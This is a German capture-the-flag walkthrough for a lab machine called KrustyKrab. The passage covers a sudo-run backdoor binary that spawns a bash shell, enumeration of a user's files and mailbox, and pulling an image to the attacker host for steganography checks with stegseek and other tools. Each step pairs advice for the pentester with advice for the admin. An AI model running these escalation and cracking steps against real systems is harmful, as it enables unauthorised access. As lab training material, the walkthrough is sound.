Analyse: Der Pentester führt `sudo -u spongebob /usr/bin/ttteeesssttt` aus. Die angezeigte "shuffled recipe order" ist zufällig genau dieselbe wie die, für die im vorherigen Schritt die korrekte Sequenz `GFBEDAHCIJ` abgeleitet wurde. Der Pentester gibt `GFBEDAHCIJ` ein. Das Programm antwortet mit "Validation successful! Perfect Krabby Patty!" und, wie im Ghidra-Code gesehen (`system("/bin/bash -p");`), erhält der Pentester eine neue Shell. Der Prompt ändert sich zu `spongebob@KrustyKrab:/usr/bin$`.

Bewertung: Fantastisch! Die Privilege Escalation von `KrustyKrab` zu `spongebob` war erfolgreich durch das Lösen des Rätsels im SUID-ähnlichen Programm (ausgeführt via `sudo`). Der Pentester hat nun eine Shell als Benutzer `spongebob`.

Empfehlung (Pentester): 1. Sie sind jetzt Benutzer `spongebob`. 2. Enumerieren Sie das Home-Verzeichnis von `spongebob` (`/home/spongebob` oder `~`) gründlich. 3. Überprüfen Sie die `sudo`-Rechte für `spongebob`: `sudo -l`. 4. Suchen Sie nach Hinweisen für die weitere Eskalation zu `root`. Gibt es interessante Dateien, Skripte, Cronjobs oder andere SUID/GUID-Binaries, auf die `spongebob` Zugriff hat?
Empfehlung (Admin): Die Backdoor wurde erfolgreich ausgenutzt. - Entfernen Sie `/usr/bin/ttteeesssttt` und die zugehörige `sudo`-Regel. - Führen Sie ein vollständiges Systemaudit durch, um nach weiteren Backdoors oder Kompromittierungsspuren zu suchen. - Überdenken Sie die Notwendigkeit, dass Benutzer wie `KrustyKrab` `sudo`-Rechte haben, um Befehle als andere unprivilegierte Benutzer (`spongebob`) auszuführen. Dies erhöht die Komplexität und die Angriffsfläche unnötig.

spongebob@KrustyKrab:~$ file keYou have new mail in /var/mail/spongebob
y
spongebob@KrustyKrab:
ls−la//var/mail/spongebob−rw−rw−−−−1spongebobmail3930Apr2709:14//var/mail/spongebobspongebob@KrustyKrab: 
ls−la//var/mail/spongebob−rw−rw−−−−1spongebobmail3930Apr2709:14//var/mail/spongebobspongebob@KrustyKrab: 
cd /var/mail/spongebob
bash: cd: /var/mail/spongebob: Not a directory
spongebob@KrustyKrab:$ ls -la
total 56
drwx------ 3 spongebob spongebob 4096 Mar 30 00:15 .
drwxr-xr-x 6 root root 4096 Mar 27 02:30 ..
lrwxrwxrwx 1 spongebob spongebob 9 Mar 30 00:15 .bash_history -> /dev/null
-rw-r--r-- 1 spongebob spongebob 220 Mar 26 20:14 .bash_logout
-rw-r--r-- 1 spongebob spongebob 3553 Mar 30 00:09 .bashrc
-rw-r--r-- 1 root root 33 Mar 27 02:37 key1
-rw-r--r-- 1 root root 19259 Mar 27 02:32 key2.jpeg
drwxr-xr-x 3 spongebob spongebob 4096 Mar 30 00:09 .local
-rw------- 1 spongebob spongebob 113 Mar 27 05:16 .mysql_history
-rw-r--r-- 1 root root 97 Mar 27 02:41 note.txt
-rw-r--r-- 1 spongebob spongebob 807 Mar 26 20:14 .profile

Analyse: Als Benutzer `spongebob` werden verschiedene Befehle ausgeführt: 1. `file keYou have new mail in /var/mail/spongebob y`: Dies ist eine fehlerhafte Eingabe. "You have new mail..." ist eine Systemnachricht. Der `file`-Befehl wurde wahrscheinlich mit `key` oder `key1` als Argument beabsichtigt, und der Rest ist Rauschen. Die Ausgabe `y` ist nichtssagend. 2. Die Zeilen mit `ls−la//var/mail/...` scheinen ebenfalls fehlerhafte Eingaben oder Kopierartefakte zu sein, da die Befehle und Pfade nicht korrekt formatiert sind. 3. `cd /var/mail/spongebob`: Der Versuch, in die Maildatei zu wechseln, schlägt fehl, da es sich um eine Datei und nicht um ein Verzeichnis handelt. 4. `ls -la`: Listet den Inhalt des Home-Verzeichnisses von `spongebob` auf. Interessante Dateien im Home-Verzeichnis von `spongebob`: - `key1` (gehört `root`, lesbar für `spongebob`) - `key2.jpeg` (gehört `root`, lesbar für `spongebob`) - `note.txt` (gehört `root`, lesbar für `spongebob`) - `.mysql_history` (wie bei `KrustyKrab`, aber möglicherweise mit anderen Befehlen) Die Nachricht "You have new mail in /var/mail/spongebob" ist ein Hinweis, die Maildatei zu überprüfen.

Bewertung: Das Home-Verzeichnis von `spongebob` enthält mehrere Dateien, die `root` gehören, aber für `spongebob` lesbar sind. Dies ist ungewöhnlich und deutet auf absichtlich platzierte Hinweise oder eine sehr laxe Berechtigungskonfiguration hin. Die Dateien `key1`, `key2.jpeg` und `note.txt` sowie die Mailbox sind die nächsten Untersuchungsziele. Die fehlerhaften Eingaben am Anfang sind für die Analyse nicht relevant.

Empfehlung (Pentester): 1. Lesen Sie den Inhalt der Mailbox: `cat /var/mail/spongebob`. 2. Untersuchen Sie die Dateien `key1`, `key2.jpeg` und `note.txt`. - `cat key1` - `cat note.txt` - Für `key2.jpeg`: `file key2.jpeg`, `strings key2.jpeg`, und laden Sie es für eine gründlichere Analyse herunter (Steganografie, EXIF-Daten etc.). 3. Überprüfen Sie `.mysql_history` von `spongebob`. 4. Führen Sie `sudo -l` aus, um die `sudo`-Rechte von `spongebob` zu prüfen.
Empfehlung (Admin): - Dateien, die `root` gehören, sollten nicht ohne triftigen Grund für unprivilegierte Benutzer lesbar sein. Überprüfen Sie die Berechtigungen dieser Dateien. - Mailboxen können sensible Informationen enthalten. Der Zugriff sollte auf den Eigentümer beschränkt sein. - Korrigieren Sie die fehlerhaften Dateiberechtigungen, wenn diese nicht absichtlich für ein CTF so gesetzt wurden.

spongebob@KrustyKrab:~$ cat /var/mail/spongebob
From MAILER-DAEMON Thu Mar 27 08:21:58 2025
Return-path: <>
Envelope-to: spongebob@krustykrab
Delivery-date: Thu, 27 Mar 2025 08:21:58 -0500
Received: from Debian-exim by KrustyKrab with local (Exim 4.96)
id 1txnBG-0000MR-06
for spongebob@krustykrab;
Thu, 27 Mar 2025 08:21:58 -0500
X-Failed-Recipients: debian@krustykrab
Auto-Submitted: auto-replied
From: Mail Delivery System Mailer-Daemon@krustykrab
To: spongebob@krustykrab
References: E1txnBG-0000MO-03@KrustyKrab
Content-Type: multipart/report; report-type=delivery-status; boundary=1743081718-eximdsn-633430718
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: E1txnBG-0000MR-06@KrustyKrab
Date: Thu, 27 Mar 2025 08:21:58 -0500
--1743081718-eximdsn-633430718
Content-type: text/plain; charset=us-ascii
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
debian@krustykrab
(generated from root@krustykrab)
Unrouteable address
--1743081718-eximdsn-633430718
Content-type: message/delivery-status
Reporting-MTA: dns; KrustyKrab
Action: failed
Final-Recipient: rfc822;root@krustykrab
Status: 5.0.0
--1743081718-eximdsn-633430718
Content-type: message/rfc822
Return-path: spongebob@krustykrab
Received: from spongebob by KrustyKrab with local (Exim 4.96)
(envelope-from spongebob@krustykrab)
id 1txnBG-0000MO-03
for root@krustykrab;
Thu, 27 Mar 2025 08:21:58 -0500
To: root@krustykrab
Auto-Submitted: auto-generated
Subject: *** SECURITY information for KrustyKrab ***
From: spongebob@krustykrab
Message-Id: E1txnBG-0000MO-03@KrustyKrab
Date: Thu, 27 Mar 2025 08:21:58 -0500
KrustyKrab : Mar 27 08:21:58 : spongebob : a password is required ; TTY=pts/0 ; PWD=/home/spongebob ; USER=root ; COMMAND=list
--1743081718-eximdsn-633430718--
From MAILER-DAEMON Sun Apr 27 09:14:13 2025
Return-path: <>
Envelope-to: spongebob@krustykrab
Delivery-date: Sun, 27 Apr 2025 09:14:13 -0500
Received: from Debian-exim by KrustyKrab.speedport.ip with local (Exim 4.96)
id 1u92lp-0001Ol-0s
for spongebob@krustykrab;
Sun, 27 Apr 2025 09:14:13 -0500
X-Failed-Recipients: debian@krustykrab
Auto-Submitted: auto-replied
From: Mail Delivery System Mailer-Daemon@krustykrab
To: spongebob@krustykrab
References: E1u92lp-0001Oi-0p@KrustyKrab.speedport.ip
Content-Type: multipart/report; report-type=delivery-status; boundary=1745763253-eximdsn-1483141006
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: E1u92lp-0001Ol-0s@KrustyKrab.speedport.ip
Date: Sun, 27 Apr 2025 09:14:13 -0500
--1745763253-eximdsn-1483141006
Content-type: text/plain; charset=us-ascii
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
debian@krustykrab
(generated from root@krustykrab)
Unrouteable address
--1745763253-eximdsn-1483141006
Content-type: message/delivery-status
Reporting-MTA: dns; KrustyKrab.speedport.ip
Action: failed
Final-Recipient: rfc822;root@krustykrab
Status: 5.0.0
--1745763253-eximdsn-1483141006
Content-type: message/rfc822
Return-path: spongebob@krustykrab
Received: from spongebob by KrustyKrab.speedport.ip with local (Exim 4.96)
(envelope-from spongebob@krustykrab)
id 1u92lp-0001Oi-0p
for root@krustykrab;
Sun, 27 Apr 2025 09:14:13 -0500
To: root@krustykrab
Auto-Submitted: auto-generated
Subject: *** SECURITY information for KrustyKrab ***
From: spongebob@krustykrab
Message-Id: E1u92lp-0001Oi-0p@KrustyKrab.speedport.ip
Date: Sun, 27 Apr 2025 09:14:13 -0500
KrustyKrab : Apr 27 09:14:13 : spongebob : a password is required ; TTY=pts/1 ; PWD=/usr/bin ; USER=root ; COMMAND=list
--1745763253-eximdsn-1483141006--

Analyse: Der Inhalt der Mailbox `/var/mail/spongebob` wird angezeigt. Es handelt sich um zwei E-Mails vom "Mail Delivery System" (Mailer-Daemon), die besagen, dass Nachrichten, die `spongebob` an `root@krustykrab` (bzw. `debian@krustykrab`, was von `root` generiert wurde) gesendet hat, nicht zugestellt werden konnten ("Unrouteable address"). Der interessante Teil ist der Inhalt der ursprünglichen Nachrichten, die `spongebob` an `root` gesendet hat. Beide haben den Betreff "*** SECURITY information for KrustyKrab ***" und enthalten eine Zeile, die wie ein `sudo`-Logeintrag oder ein Audit-Trail aussieht: - `KrustyKrab : Mar 27 08:21:58 : spongebob : a password is required ; TTY=pts/0 ; PWD=/home/spongebob ; USER=root ; COMMAND=list` - `KrustyKrab : Apr 27 09:14:13 : spongebob : a password is required ; TTY=pts/1 ; PWD=/usr/bin ; USER=root ; COMMAND=list` Diese Zeilen deuten darauf hin, dass spongebob versucht hat, einen Befehl namens list mit sudo als root auszuführen (USER=root ; COMMAND=list), aber dafür ein Passwort erforderlich war ("a password is required").

Bewertung: Dies ist ein sehr interessanter Fund. Es legt nahe, dass `spongebob` möglicherweise `sudo`-Rechte hat, um einen Befehl namens `list` als `root` auszuführen, aber dafür sein eigenes Passwort (das Passwort von `spongebob`) benötigt. Da der Pentester nun die Shell als `spongebob` hat, aber dessen Passwort nicht kennt (das Passwort `squarepants` war für die Webanwendung, nicht für den System-Login oder `sudo`), ist dies noch kein direkter Weg zu Root. Der Befehl `list` ist nicht Standard. Es könnte sich um ein Custom Skript oder Binary handeln.

Empfehlung (Pentester): 1. Suchen Sie nach einem Befehl, Skript oder Binary namens `list` auf dem System, insbesondere in den Pfaden, die in `$PATH` enthalten sind, oder in `/usr/local/bin`, `/usr/local/sbin`. (z.B. `which list`, `find / -name list -type f 2>/dev/null`). 2. Wenn `list` gefunden wird, analysieren Sie es (mit `file`, `strings`, Ghidra etc.), um seine Funktionsweise zu verstehen und ob es für Privilege Escalation missbraucht werden kann, wenn es als `root` läuft. 3. Führen Sie `sudo -l` als `spongebob` aus. Dies wird definitiv zeigen, ob `spongebob` den Befehl `list` als `root` ausführen darf und ob dafür ein Passwort benötigt wird. 4. Auch wenn das Passwort für `spongebob` für `sudo` unbekannt ist, ist die Kenntnis dieser potenziellen `sudo`-Regel wertvoll.
Empfehlung (Admin): - Überprüfen Sie die `sudoers`-Konfiguration für den Benutzer `spongebob`. Wenn er tatsächlich einen Befehl `list` als `root` ausführen darf, muss dieser Befehl absolut sicher und nicht für Missbrauch anfällig sein. - Wenn `spongebob` sein Passwort für `sudo` benötigt, stellen Sie sicher, dass sein Account-Passwort stark ist. - Das Logging von `sudo`-Versuchen (auch fehlgeschlagenen) ist wichtig für die Auditierung. Hier scheint eine Art benutzerdefiniertes Logging per E-Mail an `root` konfiguriert worden zu sein, das aber fehlschlägt. Überprüfen Sie die Mailserver-Konfiguration (Exim) und die `sudo`-Log-Konfiguration.

spongebob@KrustyKrab:~$ file key1
key1: ASCII text
spongebob@KrustyKrab:~$ cat key1
e1964798cfe86e914af895f8d0291812

Analyse: 1. `file key1`: Bestätigt, dass `key1` eine ASCII-Textdatei ist. 2. `cat key1`: Gibt den Inhalt von `key1` aus, eine hexadezimale Zeichenkette: `e1964798cfe86e914af895f8d0291812`.

Bewertung: Diese Zeichenkette sieht wie ein MD5-Hash oder ein Teil eines anderen kryptographischen Schlüssels/Hashes aus. Ihre Bedeutung ist im Moment unklar, aber sie sollte für spätere Verwendung notiert werden.

Empfehlung (Pentester): 1. Notieren Sie diesen Wert. Er könnte ein Passwort, ein Teil eines Passworts, ein Entschlüsselungsschlüssel für eine andere Datei oder ein Hash sein, der später geknackt werden muss. 2. Versuchen Sie, den Hash-Typ zu identifizieren (z.B. mit `hash-identifier` oder Online-Tools), falls es sich um einen Hash handelt.
Empfehlung (Admin): Wenn dies ein sensibler Schlüssel oder Hash ist, sollte er nicht ungeschützt im Home-Verzeichnis eines Benutzers liegen, insbesondere wenn er `root` gehört. Sichern Sie kryptographisches Material ordnungsgemäß (z.B. in Hardware Security Modules, verschlüsselten Key Stores oder zumindest mit sehr restriktiven Berechtigungen).

spongebob@KrustyKrab:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [27/Apr/2025 09:21:27] "GET /key2.jpeg HTTP/1.1" 200 -
┌──(root㉿CCat)-[~/test] └─# wget http://192.168.2.185:8000/key2.jpeg
--2025-04-27 16:21:26-- http://192.168.2.185:8000/key2.jpeg
Verbindungsaufbau zu 192.168.2.185:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 19259 (19K) [image/jpeg]
Wird in »key2.jpeg« gespeichert.
key2.jpeg 100%[=============================>] 18,81K --.-KB/s in 0s
2025-04-27 16:21:26 (46,0 MB/s) - »key2.jpeg« gespeichert [19259/19259]

Analyse: Ähnlich wie zuvor beim `ttteeesssttt`-Binary wird nun die Datei `key2.jpeg` aus dem Home-Verzeichnis von `spongebob` auf das Angreifersystem heruntergeladen. 1. **Auf dem Zielserver (spongebob):** Ein Python-HTTP-Server wird im Home-Verzeichnis von `spongebob` gestartet. 2. **Auf dem Angreifersystem (CCat):** `wget` wird verwendet, um `key2.jpeg` herunterzuladen. Der Download ist erfolgreich.

Bewertung: Die Datei `key2.jpeg` (19KB groß) ist nun auf dem Angreifersystem zur Offline-Analyse verfügbar. Da es sich um eine JPEG-Datei handelt, sind mögliche Angriffsvektoren oder Informationsquellen: - Versteckte Daten mittels Steganografie. - Interessante EXIF-Metadaten. - Strukturelle Anomalien oder eingebetteter Code (obwohl dies weniger wahrscheinlich ist als bei einer reinen Textdatei oder einem Skript).

Empfehlung (Pentester): Analysieren Sie die heruntergeladene `key2.jpeg` auf Ihrem System mit Tools wie: - `file key2.jpeg` (bestätigt meist nur JPEG). - `exiftool key2.jpeg` (um alle Metadaten anzuzeigen). - `strings key2.jpeg` (um nach lesbaren Zeichenketten zu suchen). - Steganografie-Tools (z.B. `steghide`, `stegseek`, `zsteg` - obwohl `zsteg` eher für PNGs ist, `binwalk` auch für Forensik).
Empfehlung (Admin): Wenn sensible Informationen in Bildern versteckt werden (Steganografie), ist dies schwer zu erkennen. Richtlinien zur Datenklassifizierung und -handhabung sowie Schulungen können helfen, das Risiko zu minimieren, dass Mitarbeiter versehentlich oder absichtlich sensible Daten in scheinbar harmlosen Dateien verstecken. Dateiinhaltsfilterung an Netzwerkgrenzen könnte theoretisch versuchen, Steganografie zu erkennen, ist aber oft nicht praktikabel.

┌──(root㉿CCat)-[~/test] └─# strings key2.jpeg -n 5
"!&+7/&)4)!"0A149;>>>%.DIC;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%6DTs
"2AQa
R#3Bbq
kzNoi
OZj}O
&O
kuNMx
sB]aR;
ni|92
;Zh+mG
jTr4e
~k|A&
}cI>o
{m/Km'
/h)*u
;WwB1
....
...

Analyse: Der Befehl `strings key2.jpeg -n 5` wird auf die heruntergeladene Datei angewendet. Er sucht nach Zeichenketten, die mindestens 5 druckbare Zeichen lang sind. Die Ausgabe zeigt viele zufällig erscheinende Zeichenketten, was typisch für Binärdateien wie JPEGs ist, aber keine offensichtlich lesbaren Passwörter, Schlüssel oder Nachrichten. Die Kürzung `.... ...` deutet auf eine längere Ausgabe hin.

Bewertung: Auf den ersten Blick liefert `strings` hier keine klaren Hinweise. Die meisten ausgegebenen Zeichenfolgen sind wahrscheinlich Teil der komprimierten Bilddaten oder der JPEG-Struktur. Es ist selten, dass Klartext-Geheimnisse direkt in JPEGs so offensichtlich mit `strings` gefunden werden, es sei denn, sie wurden sehr naiv eingebettet.

Empfehlung (Pentester): Da `strings` nicht viel ergeben hat, sollten andere Analysewerkzeuge für Bilder verwendet werden: - `exiftool` für Metadaten. - Steganografie-Tools, um nach versteckten Nachrichten zu suchen. - `binwalk` zur Analyse der Dateistruktur auf eingebettete Dateien oder ungewöhnliche Abschnitte.
Empfehlung (Admin): Die `strings`-Ausgabe allein ist hier nicht alarmierend. Die allgemeinen Empfehlungen zur Überprüfung von Dateien auf eingebettete sensible Daten bleiben bestehen.

┌──(root㉿CCat)-[~/test] └─# exiftool key2.jpeg
ExifTool Version Number : 13.10
File Name : key2.jpeg
Directory : .
File Size : 19 kB
File Modification Date/Time : 2025:03:27 08:32:16+01:00
File Access Date/Time : 2025:04:27 16:21:43+02:00
File Inode Change Date/Time : 2025:04:27 16:21:26+02:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Image Width : 640
Image Height : 426
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 640x426
Megapixels : 0.273

Analyse: `exiftool key2.jpeg` wird ausgeführt, um die EXIF-Metadaten der Bilddatei anzuzeigen. Die Ausgabe zeigt Standard-JPEG-Metadaten: Dateiname, Größe, Zeitstempel, Dateityp, MIME-Typ, Bildauflösung, Farbinformationen etc. Es sind keine ungewöhnlichen oder benutzerdefinierten Felder (wie z.B. ein "Comment"-Feld mit einem Passwort oder einer Nachricht) sichtbar.

Bewertung: Die EXIF-Daten scheinen normal zu sein und enthalten keine offensichtlichen versteckten Informationen. Dies schließt jedoch Steganografie (bei der Daten in den Bildpixeln selbst versteckt werden) nicht aus.

Empfehlung (Pentester): Da EXIF-Daten keine Hinweise liefern, ist der nächste logische Schritt die Verwendung von Steganografie-Erkennungstools.
Empfehlung (Admin): Standard-EXIF-Daten sind normal. Wenn Ihre Organisation Richtlinien zur Entfernung von Metadaten aus öffentlich geteilten Bildern hat (z.B. um GPS-Koordinaten oder Kamerainformationen zu entfernen), stellen Sie sicher, dass diese Prozesse funktionieren. Hier sind keine sensiblen Metadaten vorhanden.

┌──(root㉿CCat)-[~/test] └─# stegseek key2.jpeg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - [Link: https://github.com/RickdeJager/StegSeek | Ziel: https://github.com/RickdeJager/StegSeek]
[i] Progress: 99.45% (132.7 MB)
[!] error: Could not find a valid passphrase.

Analyse: `stegseek` wird verwendet, um zu versuchen, mit Steganografie versteckte Daten in `key2.jpeg` zu finden. `stegseek` ist ein schnelles Tool, das versucht, eingebettete Daten mit `steghide` zu extrahieren, indem es Passwörter aus einer Wortliste (`rockyou.txt`) durchprobiert. Die Ausgabe zeigt, dass `stegseek` fast die gesamte Wortliste durchprobiert hat ("Progress: 99.45%"), aber keinen Erfolg hatte ("error: Could not find a valid passphrase.").

Bewertung: Dieser Versuch, mit `steghide` (über `stegseek`) und der `rockyou.txt`-Wortliste versteckte Daten zu finden, war nicht erfolgreich. Das bedeutet nicht unbedingt, dass keine Daten versteckt sind, sondern nur, dass sie entweder nicht mit `steghide` versteckt wurden, ein anderes Passwort verwendet wurde, oder eine andere Steganografie-Methode zum Einsatz kam.

Empfehlung (Pentester): 1. Versuchen Sie andere Steganografie-Tools, die unterschiedliche Algorithmen verwenden (z.B. `outguess`, `F5`, spezifische JPEG-Tools). 2. Versuchen Sie `steghide` manuell mit spezifischen, kontextbezogenen Passwörtern, falls Sie welche vermuten (z.B. `Spongebob`, `KrustyKrab`, `squarepants`, der Wert von `key1`). 3. Untersuchen Sie die Datei mit `binwalk` genauer auf eingebettete Signaturen anderer Dateitypen.
Empfehlung (Admin): Dieser Versuch der Datenextraktion war nicht erfolgreich, was aus Verteidigersicht gut ist. Die allgemeinen Empfehlungen zur Erkennung von Datenexfiltration und Steganografie bleiben relevant.

┌──(root㉿CCat)-[~/test] └─# zsteg key2.jpeg
[!] #ZPNG::NotSupported: Unsupported header "\xFF\xD8\xFF\xE0\x00\x10JF" in #File:key2.jpeg
┌──(root㉿CCat)-[~/test] └─# binwalk /home/ccat/Downloads/key2.jpeg
DECIMAL HEXADECIMAL DESCRIPTION
0 0x0 JPEG image data, JFIF standard 1.01

Analyse: 1. `zsteg key2.jpeg`: `zsteg` ist ein Werkzeug zur Erkennung von Steganografie in PNG- und BMP-Dateien. Es wird hier fälschlicherweise auf eine JPEG-Datei angewendet. Die Fehlermeldung `Unsupported header "\xFF\xD8\xFF\xE0\x00\x10JF"` bestätigt, dass es sich um einen JPEG-Header handelt (erkennbar an `\xFF\xD8`), den `zsteg` nicht unterstützt. 2. `binwalk /home/ccat/Downloads/key2.jpeg`: `binwalk` ist ein Werkzeug zur Analyse von Firmware und anderen Binärdateien, um eingebettete Dateien und Code zu finden, indem es nach bekannten Signaturen (Magic Bytes) sucht. Die Ausgabe zeigt nur "JPEG image data, JFIF standard 1.01" bei Offset 0.

Bewertung: - `zsteg` war das falsche Werkzeug für eine JPEG-Datei und lieferte daher keine nützlichen Ergebnisse. - `binwalk` hat in seiner Standardeinstellung keine weiteren eingebetteten Dateien oder ungewöhnlichen Signaturen innerhalb der JPEG-Struktur gefunden. Dies macht es weniger wahrscheinlich, dass eine komplette andere Datei in `key2.jpeg` versteckt ist.

Empfehlung (Pentester): 1. Die Standard-Steganografie-Checks und die `binwalk`-Analyse waren bisher nicht erfolgreich. 2. Man könnte `binwalk` mit tiefergehender Analyse versuchen (z.B. Entropie-Analyse mit `-E`), aber der nächste Schritt im Bericht (`xxd`) deutet auf eine manuelle Hexdump-Analyse hin, möglicherweise um nach ungewöhnlichen Mustern oder an Dateigrenzen versteckten Daten zu suchen.
Empfehlung (Admin): Die bisherigen automatisierten Analysen der JPEG-Datei haben keine offensichtlichen Bedrohungen aufgedeckt.

┌──(root㉿CCat)-[~/test] └─# xxd /home/ccat/Downloads/key2.jpeg | tail -n 200
00003ec0: 55fe 68a6 755a c284 6eb4 765e 9492 dbe8 U.h.uZ..n.v^....
00003ed0: 9392 dfc5 735f 819e 8da9 e934 661e 7bef ....s_.....4f.{.
00003ee0: fdce 0be1 c8e5 fc4b 1df1 cae9 f459 6f6e .......K.....Yon
00003ef0: e598 9598 b387 a74e 0cc4 ac84 ac00 c84a .......N.......J
00003f00: 4000 0000 0000 0000 0000 0000 0000 0000 @...............
00003f10: 0000 0000 0000 0000 0000 0000 0000 1a13 ................
00003f20: eafd a462 328d 44e5 4e51 9c7c 62d3 5f21 ...b2.D.NQ.|b._!
00003f30: e65e cb3d a93c 806c 3621 2000 0000 8487 .^.=.<.l6! .....
00003f40: 1725 4dd5 c5dd d35f 6a84 d7c9 9cb2 70a9 .%M...._j.....p.
00003f50: 7aaf a4b9 3f7f 22fc 7759 caae 537q b1e8 z...?.".wY..Sq..
00003f60: 5aca be86 c3cd 3e96 ca1f cb26 bf23 be34 Z.....>....&.#.4
00003f70: eecb ebff 00f8 5ab5 849f af8f bca9 45af ......Z.......E.
00003f80: 04df 12fc cdc4 fa97 cde7 3595 4000 5400 ..........5.@.T.
00003f90: 0480 0000 0000 000e 3194 6519 454a 325b ........1.e.EJ2[
00003fa0: 3525 ba6b cd77 9a2e 73b3 4a13 ba59 2d35 5%.k.w..s.J..Y-5
00003fb0: 732c 4dfc 3d65 08c9 aa6d f935 ce1e edd7 s,M.=e...m.5....
00003fc0: 91bd 0099 959e 9e77 69af f2fa 7aee 38ed .......wi...z.8.
00003fd0: 698e a907 d237 9460 bd75 e2d2 e52f 6c7e i....7.`.u.../l~
00003fe0: 06f9 6191 b2ca da2b bc7d cd3b 9a0f edd3 ..a....+.}.;....
00003ff0: 96fb 7935 d53f 2665 7967 6b90 b59d ade5 ..y5.?&eygk.....
00004000: bd3b 8a13 fad4 ea47 78b3 49bc ecea e31b .;.....Gx.I.....
00004010: 76f2 3a3f 2b57 1d70 b9fd 1ea4 9ba7 3f2e v.:?+W.p......?.
00004020: 2f0f 2926 895f e9ca 7e9b e034 4b7e d06f /.)&._..~..4K~.o
00004030: f0d5 e365 acf1 156c aa72 4aee 8437 a73f ...e...l.rJ..7.?
00004040: 3d97 2fe5 7ee3 73c7 e4ac 72d6 ff00 48c7 =./.~.s...r...H.
00004050: ddd2 baa5 df2a 52df 6f6a eabd e14b 8d8e .....*R.oj...K..
00004060: 402f b081 5000 1200 0000 0019 53fd a479 @/..P.......S..y
00004070: 6fcd 7231 30ad 5a36 d42a dc49 ed1a 5094 o.r10.Z6.*.I..P.
00004080: dfb9 37f9 01d0 680a 7e8f 46da 25d1 d5ae ..7...h.~.F.%...
00004090: d7b3 d2c8 d88e 9746 52f4 5a3b 149a d9ce .......FR.Z;....

Analyse: `xxd /home/ccat/Downloads/key2.jpeg | tail -n 200` zeigt einen Hexdump der letzten 200 Zeilen der Datei `key2.jpeg`. Dies wird oft verwendet, um nach Daten zu suchen, die am Ende einer Datei angehängt wurden (eine gängige Methode, um Daten in Dateien zu verstecken, ohne die ursprüngliche Struktur stark zu verändern). Die Ausgabe zeigt Hexadezimalwerte und deren ASCII-Repräsentation. Es sind keine offensichtlich lesbaren Zeichenketten oder klare Strukturen erkennbar, die auf angehängte Daten hindeuten. Die Zeile `00003f50` enthält `Sq..` statt `Sq..`, was ein kleiner Tippfehler im Berichttext sein könnte (sollte wahrscheinlich `S...q` sein für `5371`).

Bewertung: Der Hexdump der letzten Bytes liefert keine direkten Hinweise auf angehängte Daten oder leicht erkennbare Geheimnisse. Die Daten sehen wie normale End-of-File-Daten einer JPEG-Datei oder Datenmüll aus. Ohne ein klares Muster oder eine bekannte Signatur ist es schwierig, hier etwas Konkretes zu finden.

Empfehlung (Pentester): 1. Manuelle Hexdump-Analyse ist oft mühsam und erfordert ein geschultes Auge oder eine spezifische Hypothese. 2. Vergleichen Sie den MD5/SHA1-Hash der Datei mit bekannten Hashes, falls es sich um eine Standard-Testdatei handeln könnte (unwahrscheinlich hier). 3. Da die bisherigen Analysen von `key2.jpeg` (strings, exiftool, stegseek, binwalk, xxd) keine klaren Ergebnisse geliefert haben, könnte es sein, dass `key2.jpeg` in Kombination mit `key1` (dem zuvor gefundenen Hex-String) verwendet werden muss, oder es gibt eine subtilere Form der Datenversteckung.
Empfehlung (Admin): Diese tiefergehende Analyse zeigt, dass der Pentester gründlich vorgeht. Wenn keine sensiblen Daten gefunden werden, ist das positiv. Es ist jedoch schwierig, alle Formen der Datenversteckung zu erkennen.

┌──(root㉿CCat)-[~/test] └─# md5sum /home/ccat/Downloads/key2.jpeg
5e1d0c1a168dc2d70004c2b00ba314ae /home/ccat/Downloads/key2.jpeg
┌──(root㉿CCat)-[~/test] └─# echo -n "e1964798cfe86e914af895f8d02918125e1d0c1a168dc2d70004c2b00ba314ae" | md5sum
7ac254848d6e4556b73398dde2e4ef82

Analyse: Hier wird ein neuer Ansatz verfolgt: 1. `md5sum /home/ccat/Downloads/key2.jpeg`: Berechnet den MD5-Hash der Datei `key2.jpeg`. Das Ergebnis ist `5e1d0c1a168dc2d70004c2b00ba314ae`. 2. `echo -n "e1964798cfe86e914af895f8d02918125e1d0c1a168dc2d70004c2b00ba314ae" | md5sum`: - Die Zeichenkette, deren MD5-Hash berechnet wird, besteht aus zwei Teilen: - `e1964798cfe86e914af895f8d0291812`: Dies ist exakt der Inhalt der Datei `key1`, die zuvor gefunden wurde. - `5e1d0c1a168dc2d70004c2b00ba314ae`: Dies ist exakt der MD5-Hash der Datei `key2.jpeg`. - Der `-n`-Flag bei `echo` verhindert, dass ein abschließender Zeilenumbruch zur Eingabe für `md5sum` hinzugefügt wird. - Der MD5-Hash dieser kombinierten Zeichenkette (Inhalt von `key1` + MD5-Hash von `key2.jpeg`) ist `7ac254848d6e4556b73398dde2e4ef82`.

Bewertung: Dies ist ein cleverer Schritt und deutet auf ein Rätsel oder eine gestaffelte Informationsfreigabe hin. Der Pentester vermutet, dass der Inhalt von `key1` und der Hash von `key2.jpeg` in einer bestimmten Weise kombiniert werden müssen. Das Ergebnis `7ac254848d6e4556b73398dde2e4ef82` ist ein neuer Hashwert. Es ist nun zu prüfen, wofür dieser neue Hash verwendet werden kann. Könnte es ein Passwort für einen anderen Benutzer oder Dienst sein?

